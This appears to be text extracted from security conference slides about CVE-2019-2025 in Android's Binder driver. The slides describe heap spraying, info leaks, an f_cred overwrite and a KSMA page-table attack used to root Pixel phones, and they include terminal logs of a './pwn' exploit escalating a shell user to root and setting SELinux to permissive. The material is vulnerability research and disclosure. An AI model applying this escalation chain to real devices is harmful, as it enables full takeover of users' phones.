Attack the “f_cred” to ROOT directly

sync_pt->pt_list leaked!
Attack the “f_cred” to ROOT directly

drivers/staging/android/sync.c

292 struct sync_fence *sync_fence_create(const char *name, struct sync_pt *pt)
293 {
294    struct sync_fence *fence;
...
303    pt->fence = fence;
304    list_add(&pt->pt_list, &fence->pt_list_head);
305    sync_pt_activate(pt);
...
313    return fence;
314 }

“sync_pt->pt_list” points to a “struct sync_fence” object whose size is 160

It’s also freed when “struct sync_pt” is released, spray with “struct file”!
Attack the “f_cred” to ROOT directly

- ROOT by writing the “f_cred”

```
sailfish:/ $ id
uid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input),1007(log),1011(adb),1015(sdcards_rw),10
adproc,3011(uhid) context=u:r:shell:s0
sailfish:/ $ getprop ro.build.fingerprint
google/sailfish/sailfish:9/PPR2.181005.003/4984323:user/release-keys
sailfish:/ $ su
/system/bin/sh: su: not found
127] sailfish:/ $ cd /data/local/tmp
sailfish:/data/local/tmp $ ./pwn
[*] previous uid 2000 gid 2000 pid 12958
[*] step 1: try to leak the "fence" address...
[*] step 2: leaked kernel address(pt_list.next) fffffff0ad223850
[*] step 2: so, the "fence" address is fffffff0ad223800
[*] step 2: we have already occupied the "struct sync_fence *fence" with "struct file *file"
[*] step 2: so, the "file" address is fffffff0ad223800
[*] step 2: now, try to read "const struct cred *f_cred" address...
[*] step 3: leaked "const struct cred *f_cred" address is fffffff03d51f900
[*] step 3: now, try to write uid, gid, etc, and PWN it!
[*] step 3: cred_address_flags fffffff0 cred_address_code 3d51f904
[*] exploit success!!!
[*] current uid 0 gid 0 pid 12958
[+] waiting for 13217(01)
[+] 13217 exited normally
$ id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcards_rw),1028(sdcards_r)
(uhid) context=u:r:shell:s0
```
• The CVE-2019-2025
  • IPC through Binder driver
  • The imperfect protection of the “binder_buffer” object
  • The “all-round vulnerability” in theoretically
• Theory to Practice
  • Stable DoS to Memory corruption: Bypass “BUG_ON()” checks
  • The Baits: how to trigger this vulnerability stably
  • Info leaks
  • Heap spraying skills
  • How to arbitrary write with arbitrary data
  • How to arbitrary read
• Weaponized—How to ROOT the Pixel serials
  • Attack the “f_cred” to ROOT directly
  • KSMA Attack
• Conclusion
KSMA Attack

• About
  • Proposed by Yong Wang[^1]
  • Attack the “swapper_pg_dir”
  • Still works on Android devices

• Attack the “tramp_pg_dir” on Pixel 3
  Because the “CONFIG_UNMAP_KERNEL_AT_EL0” has been set in pixel 3 to defeat the *Meltdown*. It will unmap kernel when running in user space.

• ROOT
  • Disable selinux_enforcing
  • Set uid, gid, euid, egid... to zero
  • Set cred->securebits to zero
  • Set cred->cap_bset to 0x3fffffffff
KSMA Attack

- ROOT
- Set uid, gid, euid, egid... to zero
• ROOT
• Set cred->securebits to zero

```
<SyS_getregid.cfl>:

b900259f   str wzr, [x12,#36]
```

KSMA Attack
• ROOT
• Set cred->cap_bset to 0x3fffffffff

KSMA Attack
croshatch:/ $ getprop ro.product.model
Pixel 3 XL
croshatch:/ $ getprop ro.build.fingerprint
google/croshtach/croshtach:9/PQ1A.181205.006/5108886:user/release-keys
croshatch:/ $ cat /proc/version
Linux version 4.9.56-g641303d-ab5108637 (android-build@abfarm929) (Android clang version 5.0.1 (https://us3-mirror-android.googlesource.com/toolchain/clang @0e4a5a67eb7d626653c23780ff02367ead74955) (https://us3-mirror-android.googlesource.com/toolchain/llvm ef376ecb7d9c1460216126d102bb32fc573800d) (based on LLVM 5.0.1svn)) #0 SMP PREEMPT Fri Nov 2 19:33:38 UTC 2018
croshatch:/ $ su
/system/bin/sh: su: not found
127/croshatch:/ $ id
uid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input),1007(log),1011(adb),
1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:shell:s0
croshatch:/ $ cd /data/local/tmp
croshatch:/data/local/tmp $ ./pwn
[*] slide: 0x00001d8ac00000
croshatch:/data/local/tmp # id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),
1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:shell:s0
croshatch:/data/local/tmp # getenforce
Permissive
croshatch:/data/local/tmp #
Demo
• The CVE-2019-2025
  • IPC through Binder driver
  • The imperfect protection of the “binder_buffer” object
  • The “all-round vulnerability” in theoretically
• Theory to Practice
  • Stable DoS to Memory corruption: Bypass “BUG_ON()” checks
  • The Baits: how to trigger this vulnerability stably
  • Info leaks
  • Heap spraying skills
  • How to arbitrary write with arbitrary data
  • How to arbitrary read
• Weaponized—How to ROOT the Pixel serials
  • Attack the “f_cred” to ROOT directly
  • KSMA Attack
• Conclusion
• Difficult but still possible
• Bugs hunting: find the gaps
• Differences make a difference
Thank You For Listening!

Twitter/weibo @hexb1n@Mingjian_Zhou
Reference

